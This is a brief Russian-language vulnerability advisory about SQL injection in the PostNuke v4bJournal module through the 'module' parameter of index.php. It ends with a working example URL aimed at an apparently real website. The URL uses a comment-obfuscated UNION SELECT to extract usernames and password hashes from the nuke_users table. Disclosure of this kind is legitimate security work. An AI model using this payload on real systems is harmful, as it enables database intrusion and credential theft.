Программа: PostNuke Module v4bJournal
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «module» сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Пример:
http://www.arsfoodcourt.com/index.php?module= v4bJournal&func=journal_comment&id=-1/**/union/**/select/**/0,pn_uname,pn_pass,3, 4,pn_uname,6,7,8,9,10,11,12,13,14/* */from/**/nuke_users/**/where/**/pn_uid=2/*
